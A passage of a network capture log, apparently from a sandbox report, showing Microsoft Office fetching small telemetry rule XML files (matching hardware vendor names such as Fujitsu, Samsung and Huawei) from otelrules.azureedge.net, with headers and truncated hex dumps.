26	192.168.2.5	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:33 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:34 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: fff301c7-601e-0097-4606-48f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074334Z-r1cf579d77898tqwhC1EWRf9q800000001ug0000000024w1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:34 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	49756	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:33 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:34 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:34 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: ad3e0835-e01e-0033-5701-484695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074334Z-r1cf579d778g2t6ghC1EWRfggs0000000190000000000agu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-07 07:43:34 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:35 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:36 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: f6d2a488-401e-000a-7403-484a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074336Z-r1cf579d778dfdgnhC1EWRd3w000000001e000000000504m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:36 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:35 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:36 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: c060231a-801e-00ac-2403-48fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074336Z-r1cf579d7786c2tshC1EWRr1gc00000001bg000000002mzn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:36 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:36 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:36 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 987987f9-101e-0034-0e02-4896ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074336Z-r1cf579d7786c2tshC1EWRr1gc000000019g000000003xc6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:36 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:36 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:36 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: e9e1dff1-101e-0065-7303-484088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074336Z-r1cf579d778d5zkmhC1EWRk6h8000000025000000000378e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:36 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:36 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:36 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 7b99b195-101e-0017-7009-4847c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074336Z-r1cf579d778w59f9hC1EWRze6w00000001xg000000003mfw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:36 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:38 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:38 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 90a12f2a-001e-0079-1603-4812e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074338Z-r1cf579d77867vg8hC1EWR8knc00000001kg000000002fz8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:38 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:38 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:38 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 09188c3a-a01e-0021-2702-48814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074338Z-r1cf579d778g2t6ghC1EWRfggs000000016g000000001mgt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:38 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:38 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:38 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 75599bc5-d01e-008e-7c03-48387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074338Z-r1cf579d778qgtz2hC1EWRmgks00000001pg000000000n7u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:38 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:38 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:38 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 90f2e2a0-001e-0014-5807-485151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074338Z-r1cf579d7782ctslhC1EWRfbrw00000002900000000012gn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:38 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:38 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:38 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 48f2d82f-b01e-0084-1302-48d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074338Z-r1cf579d7788pwqzhC1EWRrpd800000002400000000005v7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:38 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" 